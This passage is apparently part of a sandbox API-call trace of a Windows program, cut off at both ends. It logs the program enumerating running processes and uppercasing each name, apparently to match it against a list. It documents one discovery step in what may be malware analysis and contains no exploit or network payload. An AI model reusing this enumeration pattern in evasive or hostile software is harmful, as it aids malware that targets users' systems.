returned="DWM.EXE" [0140.966] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DWM.EXE" | out: lpString1="DWM.EXE") returned="DWM.EXE" [0140.966] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.967] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0140.967] lstrlenW (lpString="svchost.exe") returned 11 [0140.967] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0140.967] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0140.967] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0140.967] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.969] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0140.969] lstrlenW (lpString="svchost.exe") returned 11 [0140.969] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0140.969] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0140.969] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0140.969] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.969] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0140.969] lstrlenW (lpString="svchost.exe") returned 11 [0140.970] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0140.970] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0140.970] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0140.970] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.970] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0140.970] lstrlenW (lpString="svchost.exe") returned 11 [0140.970] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0140.970] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0140.970] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0140.971] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.971] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0140.971] lstrlenW (lpString="svchost.exe") returned 11 [0140.971] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0140.971] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0140.971] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0140.971] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.972] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0140.972] lstrlenW (lpString="svchost.exe") returned 11 [0140.972] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0140.972] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0140.972] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0140.972] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0140.973] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0140.973] lstrlenW (lpString="spoolsv.exe") returned 11 [0140.973] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0140.973] PathFindFileNameW (pszPath="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0140.973] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPOOLSV.EXE" | out: lpString1="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0140.973] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.974] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0140.974] lstrlenW (lpString="svchost.exe") returned 11 [0140.974] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0140.974] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0140.974] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0140.974] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.975] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0140.975] lstrlenW (lpString="svchost.exe") returned 11 [0140.975] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0140.975] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0140.975] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0140.975] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0140.976] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0140.976] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0140.976] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0140.976] PathFindFileNameW (pszPath="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0140.976] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICECLICKTORUN.EXE" | out: lpString1="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0140.976] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.977] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0140.977] lstrlenW (lpString="svchost.exe") returned 11 [0140.977] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0140.977] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0140.977] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0140.977] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0140.978] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0140.978] lstrlenW (lpString="sihost.exe") returned 10 [0140.978] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0140.978] PathFindFileNameW (pszPath="SIHOST.EXE") returned="SIHOST.EXE" [0140.978] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SIHOST.EXE" | out: lpString1="SIHOST.EXE") returned="SIHOST.EXE" [0140.978] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0140.978] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0140.978] lstrlenW (lpString="taskhostw.exe") returned 13 [0140.978] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0140.978] PathFindFileNameW (pszPath="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0140.978] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKHOSTW.EXE" | out: lpString1="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0140.978] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0140.979] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0140.979] lstrlenW (lpString="explorer.exe") returned 12 [0140.979] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0140.979] PathFindFileNameW (pszPath="EXPLORER.EXE") returned="EXPLORER.EXE" [0140.979] lstrcpyW (in: lpString1=0x2b4f928, lpString2="EXPLORER.EXE" | out: lpString1="EXPLORER.EXE") returned="EXPLORER.EXE" [0140.979] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0140.980] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0140.980] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0140.980] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0140.980] PathFindFileNameW (pszPath="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0140.980] lstrcpyW (in: lpString1=0x2b4f928, lpString2="RUNTIMEBROKER.EXE" | out: lpString1="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0140.980] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0140.981] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0140.981] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0140.981] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0140.981] PathFindFileNameW (pszPath="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0140.981] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHELLEXPERIENCEHOST.EXE" | out: lpString1="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0140.981] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0140.982] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0140.982] lstrlenW (lpString="SearchUI.exe") returned 12 [0140.982] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0140.982] PathFindFileNameW (pszPath="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0140.982] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SEARCHUI.EXE" | out: lpString1="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0140.982] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0140.982] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0140.982] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0140.982] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0140.982] PathFindFileNameW (pszPath="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0140.982] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COMMANDSXEROXRELATIONSHIP.EXE" | out: lpString1="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0140.982] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0140.983] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0140.983] lstrlenW (lpString="nice cu.exe") returned 11 [0140.983] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0140.983] PathFindFileNameW (pszPath="NICE CU.EXE") returned="NICE CU.EXE" [0140.983] lstrcpyW (in: lpString1=0x2b4f928, lpString2="NICE CU.EXE" | out: lpString1="NICE CU.EXE") returned="NICE CU.EXE" [0140.983] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0140.984] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0140.984] lstrlenW (lpString="video_reviewing.exe") returned 19 [0140.984] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0140.984] PathFindFileNameW (pszPath="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0140.984] lstrcpyW (in: lpString1=0x2b4f928, lpString2="VIDEO_REVIEWING.EXE" | out: lpString1="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0140.984] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0140.985] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0140.985] lstrlenW (lpString="shame.exe") returned 9 [0140.985] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0140.985] PathFindFileNameW (pszPath="SHAME.EXE") returned="SHAME.EXE" [0140.985] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHAME.EXE" | out: lpString1="SHAME.EXE") returned="SHAME.EXE" [0140.985] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0140.985] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0140.985] lstrlenW (lpString="fantasy.exe") returned 11 [0140.985] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0140.985] PathFindFileNameW (pszPath="FANTASY.EXE") returned="FANTASY.EXE" [0140.985] lstrcpyW (in: lpString1=0x2b4f928, lpString2="FANTASY.EXE" | out: lpString1="FANTASY.EXE") returned="FANTASY.EXE" [0140.986] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0140.986] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0140.986] lstrlenW (lpString="accepting.exe") returned 13 [0140.986] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0140.986] PathFindFileNameW (pszPath="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0140.986] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACCEPTING.EXE" | out: lpString1="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0140.986] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0140.987] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0140.987] lstrlenW (lpString="authorized.exe") returned 14 [0140.987] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0140.987] PathFindFileNameW (pszPath="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0140.987] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUTHORIZED.EXE" | out: lpString1="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0140.987] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0140.988] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0140.988] lstrlenW (lpString="isp.exe") returned 7 [0140.988] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0140.988] PathFindFileNameW (pszPath="ISP.EXE") returned="ISP.EXE" [0140.988] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ISP.EXE" | out: lpString1="ISP.EXE") returned="ISP.EXE" [0140.988] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0140.988] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0140.988] lstrlenW (lpString="cowboy.exe") returned 10 [0140.988] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0140.988] PathFindFileNameW (pszPath="COWBOY.EXE") returned="COWBOY.EXE" [0140.988] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COWBOY.EXE" | out: lpString1="COWBOY.EXE") returned="COWBOY.EXE" [0140.988] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0140.989] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0140.989] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0140.989] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0140.989] PathFindFileNameW (pszPath="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0140.989] lstrcpyW (in: lpString1=0x2b4f928, lpString2="J_VARIABLES_CHANGES.EXE" | out: lpString1="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0140.989] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0140.990] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0140.990] lstrlenW (lpString="thats.exe") returned 9 [0140.990] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0140.990] PathFindFileNameW (pszPath="THATS.EXE") returned="THATS.EXE" [0140.990] lstrcpyW (in: lpString1=0x2b4f928, lpString2="THATS.EXE" | out: lpString1="THATS.EXE") returned="THATS.EXE" [0140.990] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0140.991] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0140.991] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0140.991] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0140.991] PathFindFileNameW (pszPath="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0140.991] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BIKES GOODS WHILST.EXE" | out: lpString1="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0140.991] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0140.991] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0140.991] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0140.991] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0140.991] PathFindFileNameW (pszPath="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0140.991] lstrcpyW (in: lpString1=0x2b4f928, lpString2="REACHES PROCESSING CULTURE.EXE" | out: lpString1="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0140.991] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0140.992] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0140.992] lstrlenW (lpString="actual.exe") returned 10 [0140.992] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0140.992] PathFindFileNameW 